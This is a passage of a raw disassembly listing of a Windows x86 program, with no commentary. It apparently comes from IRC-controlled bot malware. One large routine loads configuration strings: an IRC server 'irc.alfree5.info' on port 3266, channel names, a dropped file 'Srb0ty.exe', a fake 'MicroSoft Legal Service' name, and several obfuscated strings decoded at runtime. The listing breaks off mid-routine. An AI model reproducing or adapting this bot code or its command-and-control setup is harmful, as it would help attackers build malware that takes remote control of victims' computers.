		mov	dword ptr [esi], offset	off_43E00C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4070B0	proc near		; CODE XREF: sub_401591j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_4015D7
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_8]
		lea	eax, [esp+4+arg_0]
		mov	[edx+2Ah], ecx
		push	eax
		lea	ecx, [esi+32h]
		call	sub_4014E2
sub_4070B0	endp

; ---------------------------------------------------------------------------
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4070F0	proc near		; CODE XREF: sub_401AF0j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401AC3
		add	esi, 32h
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_401622
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4021BC
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40183E
		test	al, al
		jz	short loc_40716B
		mov	edi, [esp+10h+arg_0]


loc_407133:				; CODE XREF: sub_4070F0+79j
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_40173F
		mov	ecx, [eax]
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_407175
		call	sub_401F0A
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_4021BC
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40183E
		test	al, al
		jnz	short loc_407133


loc_40716B:				; CODE XREF: sub_4070F0+3Dj
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_407175:				; CODE XREF: sub_4070F0+5Aj
		call	sub_40173F
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_4070F0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4071C0	proc near		; CODE XREF: sub_4021F8j
		xor	al, al
		retn	4
sub_4071C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4071E0	proc near		; CODE XREF: sub_401564j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40119F
sub_4071E0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407220	proc near		; CODE XREF: sub_401622j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401A82
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_402185
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_407220	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407260	proc near		; CODE XREF: sub_4021BCj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_402185
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_407260	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407290	proc near		; CODE XREF: sub_4014E2j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4021BC
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4013B6
sub_407290	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072D0	proc near		; CODE XREF: sub_401AC3j
		push	esi
		mov	esi, ecx
		call	sub_401B63
		mov	eax, esi
		pop	esi
		retn
sub_4072D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072F0	proc near		; CODE XREF: sub_40173Fj
		mov	eax, [ecx]
		push	eax
		call	sub_401208
		add	esp, 4
		retn
sub_4072F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407310	proc near		; CODE XREF: sub_401F0Aj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401A82
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_407310	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407340	proc near		; CODE XREF: sub_40183Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FA0
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_407340	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407370	proc near		; CODE XREF: sub_4013B6j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C8A
		mov	edi, eax
		push	edi
		call	sub_401C58
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40119F
sub_407370	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401C58
		push	edi
		mov	[eax], ebx
		call	sub_401C58
		mov	edi, [eax]
		push	edi
		call	sub_401C58
		mov	ecx, [eax]
		push	ecx
		call	sub_401A82
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401208
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401672
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_402185
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407410	proc near		; CODE XREF: sub_40119Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4019C9
sub_407410	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_407425
		mov	edi, esi


loc_407425:				; CODE XREF: ___:00407421j
		push	esi
		call	sub_401A82
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40743A
		mov	edi, esi


loc_40743A:				; CODE XREF: ___:00407436j
		push	esi
		call	sub_401C58
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407460	proc near		; CODE XREF: sub_401A82j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_407460	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407480	proc near		; CODE XREF: sub_401208j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_407480	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074A0	proc near		; CODE XREF: sub_401B63j
		mov	eax, ecx
		retn
sub_4074A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074C0	proc near		; CODE XREF: sub_402185j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4011E5
		mov	eax, esi
		pop	esi
		retn	4
sub_4074C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074F0	proc near		; CODE XREF: sub_401FA0j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4074F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407520	proc near		; CODE XREF: sub_401C58j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_407520	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407540	proc near		; CODE XREF: sub_4019C9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_407540	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407570	proc near		; CODE XREF: sub_401672j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40109B
		add	esp, 8
		retn	8
sub_407570	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075A0	proc near		; CODE XREF: sub_4011E5j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4075A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075C0	proc near		; CODE XREF: sub_401C8Aj
		mov	eax, [ecx]
		retn
sub_4075C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4075E0	proc near		; CODE XREF: sub_401D16j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_4075EA
		xor	eax, eax


loc_4075EA:				; CODE XREF: sub_4075E0+6j
		push	eax
		call	sub_43689A
sub_4075E0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407610	proc near		; CODE XREF: sub_40109Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40762B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40762B:				; CODE XREF: sub_407610+11j
		retn
sub_407610	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407640	proc near		; CODE XREF: sub_4011CCj

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		retn
sub_407640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407660	proc near		; CODE XREF: sub_401B2Cj

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_407660
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_4]
		mov	[esp+1Ch+var_4], 0
		call	sub_4017E4
		push	eax
		mov	eax, [esp+20h+arg_0]
		push	0
		push	eax
		mov	ecx, offset word_448CD6
		call	sub_401B5E
sub_407660	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4076F0	proc near		; CODE XREF: sub_401CC1j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4076F0
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_1C]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+20h+arg_4]
		call	sub_4017E4
		push	eax
		mov	eax, [esp+24h+arg_0]
		push	eax
		mov	ecx, offset word_448CD6
		call	sub_401B5E
sub_4076F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+8], 0
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	34h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407790	proc near		; CODE XREF: sub_40121Cj

var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= byte ptr -348h
var_330		= byte ptr -330h
var_318		= byte ptr -318h
var_2F4		= byte ptr -2F4h
var_2DC		= byte ptr -2DCh
var_2C4		= byte ptr -2C4h
var_2AC		= byte ptr -2ACh
var_294		= byte ptr -294h
var_27C		= byte ptr -27Ch
var_264		= byte ptr -264h
var_24C		= byte ptr -24Ch
var_234		= byte ptr -234h
var_21C		= byte ptr -21Ch
var_204		= byte ptr -204h
var_1EC		= byte ptr -1ECh
var_1D4		= byte ptr -1D4h
var_1BC		= byte ptr -1BCh
var_1A4		= byte ptr -1A4h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_15C		= byte ptr -15Ch
var_144		= byte ptr -144h
var_114		= byte ptr -114h
var_E4		= byte ptr -0E4h
var_CC		= byte ptr -0CCh
var_B4		= byte ptr -0B4h
var_9C		= byte ptr -9Ch
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407790
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 344h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+35Ch+var_2C4]
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2DC]
		mov	[esp+35Ch+var_4], 0
		call	sub_401424
		lea	ecx, [esp+35Ch+var_174]
		mov	byte ptr [esp+35Ch+var_4], 1
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1A4]
		mov	byte ptr [esp+35Ch+var_4], 2
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2AC]
		mov	byte ptr [esp+35Ch+var_4], 3
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2F4]
		mov	byte ptr [esp+35Ch+var_4], 4
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1D4]
		mov	byte ptr [esp+35Ch+var_4], 5
		call	sub_401424
		lea	ecx, [esp+35Ch+var_204]
		mov	byte ptr [esp+35Ch+var_4], 6
		call	sub_401424
		lea	ecx, [esp+35Ch+var_294]
		mov	byte ptr [esp+35Ch+var_4], 7
		call	sub_401424
		lea	ecx, [esp+35Ch+var_24]
		mov	byte ptr [esp+35Ch+var_4], 8
		call	sub_401424
		lea	ecx, [esp+35Ch+var_54]
		mov	byte ptr [esp+35Ch+var_4], 9
		call	sub_401424
		lea	ecx, [esp+35Ch+var_84]
		mov	byte ptr [esp+35Ch+var_4], 0Ah
		call	sub_401424
		lea	ecx, [esp+35Ch+var_3C]
		mov	byte ptr [esp+35Ch+var_4], 0Bh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_6C]
		mov	byte ptr [esp+35Ch+var_4], 0Ch
		call	sub_401424
		lea	ecx, [esp+35Ch+var_234]
		mov	byte ptr [esp+35Ch+var_4], 0Dh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_264]
		mov	byte ptr [esp+35Ch+var_4], 0Eh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_E4]
		mov	byte ptr [esp+35Ch+var_4], 0Fh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_15C]
		mov	byte ptr [esp+35Ch+var_4], 10h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_114]
		mov	byte ptr [esp+35Ch+var_4], 11h
		call	sub_401424
		mov	byte ptr [esp+35Ch+var_4], 12h
		lea	ecx, [esp+35Ch+var_18C]
		call	sub_401424
		lea	ecx, [esp+35Ch+var_144]
		mov	byte ptr [esp+35Ch+var_4], 13h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1BC]
		mov	byte ptr [esp+35Ch+var_4], 14h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_27C]
		mov	byte ptr [esp+35Ch+var_4], 15h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1EC]
		mov	byte ptr [esp+35Ch+var_4], 16h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_CC]
		mov	byte ptr [esp+35Ch+var_4], 17h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_21C]
		mov	byte ptr [esp+35Ch+var_4], 18h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_B4]
		mov	byte ptr [esp+35Ch+var_4], 19h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_9C]
		mov	byte ptr [esp+35Ch+var_4], 1Ah
		call	sub_401424
		lea	ecx, [esp+35Ch+var_24C]
		mov	byte ptr [esp+35Ch+var_4], 1Bh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_330]
		mov	byte ptr [esp+35Ch+var_4], 1Ch
		call	sub_401424
		lea	ecx, [esp+35Ch+var_318]
		mov	byte ptr [esp+35Ch+var_4], 1Dh
		call	sub_401424
		mov	ebx, 1Eh
		push	offset aIrc_alfree5_in ; "irc.alfree5.info"
		lea	ecx, [esp+360h+var_2C4]
		mov	byte ptr [esp+360h+var_4], bl
		call	sub_401A87
		push	offset a3266	; "3266"
		lea	ecx, [esp+360h+var_2DC]
		call	sub_401A87
		push	offset byte_446F30
		lea	ecx, [esp+360h+var_144]
		call	sub_401A87
		lea	eax, [esp+35Ch+var_2C4]
		lea	ecx, [esp+35Ch+var_174]
		push	eax
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_2DC]
		push	ecx
		lea	ecx, [esp+360h+var_1A4]
		call	sub_40200E
		push	offset byte_446F30
		lea	ecx, [esp+360h+var_1BC]
		call	sub_401A87
		push	offset aFor_0	; "##for##"
		lea	ecx, [esp+360h+var_2AC]
		call	sub_401A87
		push	offset aFor	; "##for"
		lea	ecx, [esp+360h+var_24C]
		call	sub_401A87
		push	offset aF_1	; "f"
		lea	ecx, [esp+360h+var_2F4]
		call	sub_401A87
		push	offset aSrb0ty_exe ; "Srb0ty.exe"
		lea	ecx, [esp+360h+var_1D4]
		call	sub_401A87
		push	offset aSrb0ty	; "Srb0ty"
		lea	ecx, [esp+360h+var_204]
		call	sub_401A87
		push	offset aF_0	; "F-"
		lea	ecx, [esp+360h+var_294]
		call	sub_401A87
		push	offset aSet	; "set"
		lea	ecx, [esp+360h+var_234]
		call	sub_401A87
		push	0
		push	4Ah
		push	20h
		push	48h
		push	1Ch
		push	4Bh
		push	46h
		push	4Ah
		push	46h
		push	47h
		push	4Ch
		push	1Fh
		push	48h
		push	1Fh
		push	ebx
		push	1Bh
		push	1Dh
		push	47h
		push	4Bh
		push	47h
		push	ebx
		push	45h
		push	46h
		push	4Ah
		push	48h
		push	ebx
		push	1Dh
		push	1Ch
		push	4Ah
		push	20h
		push	4Ch
		push	4Dh
		lea	edx, [esp+3DCh+var_348]
		push	44h
		push	edx
		call	sub_4019B5
		add	esp, 88h
		push	eax
		lea	ecx, [esp+360h+var_264]
		mov	byte ptr [esp+360h+var_4], 1Fh
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	offset aAdmin_com ; "admin.com"
		lea	ecx, [esp+360h+var_E4]
		call	sub_401A87
		push	offset asc_443818 ; "X"
		lea	ecx, [esp+360h+var_15C]
		call	sub_401A87
		push	offset aMicrosoftLegal ; "MicroSoft Legal Service"
		lea	ecx, [esp+360h+var_114]
		call	sub_401A87
		push	offset dword_4437F8
		lea	ecx, [esp+360h+var_27C]
		call	sub_401A87
		push	0
		push	4Bh
		push	48h
		push	4Ah
		push	47h
		push	4Ch
		push	48h
		push	4Bh
		push	48h
		push	45h
		lea	eax, [esp+384h+var_348]
		push	46h
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	eax
		lea	ecx, [esp+360h+var_18C]
		mov	byte ptr [esp+360h+var_4], 20h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	0Dh
		push	0Fh
		push	3
		push	4Fh
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	0Dh
		push	4Fh
		push	0Ch
		push	1
		push	7
		push	5
		lea	ecx, [esp+3A8h+var_348]
		push	0Ch
		push	ecx
		call	sub_4019B5
		add	esp, 54h
		push	eax
		lea	ecx, [esp+360h+var_1EC]
		mov	byte ptr [esp+360h+var_4], 21h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_CC]
		mov	byte ptr [esp+360h+var_4], 22h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	eax, [esp+36Ch+var_348]
		push	45h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_B4]
		mov	byte ptr [esp+360h+var_4], 23h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	44h
		push	49h
		lea	ecx, [esp+368h+var_348]
		push	46h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		push	eax
		lea	ecx, [esp+360h+var_21C]
		mov	byte ptr [esp+360h+var_4], 24h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_9C]
		mov	byte ptr [esp+360h+var_4], 25h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	15h
		push	12h
		lea	eax, [esp+36Ch+var_348]
		push	14h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_330]
		mov	byte ptr [esp+360h+var_4], 26h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	13h
		push	0Ch
		push	1
		lea	ecx, [esp+370h+var_348]
		push	6
		push	ecx
		call	sub_4019B5
		add	esp, 1Ch
		push	eax
		lea	ecx, [esp+360h+var_318]
		mov	byte ptr [esp+360h+var_4], 27h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		lea	ecx, [esp+35Ch+var_2F4]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+374h+var_34C], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		mov	byte ptr [esp+3A0h+var_4], 28h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+3D0h+var_348]
		push	13h
		push	edx
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+374h+var_4], 29h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+38Ch+var_350], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+0FECh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+390h+var_4], 2Ah
		call	sub_401CC1
sub_407790	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 2Bh
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Ch
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+1035h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 2Dh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+80h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+78h]
		push	13h
		push	eax
		mov	byte ptr [esp+3C4h], 2Eh
		call	sub_4019B5
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Fh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+0FA3h]
		mov	byte ptr [esp+388h], 30h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+98h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		mov	byte ptr [esp+3A0h], 31h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
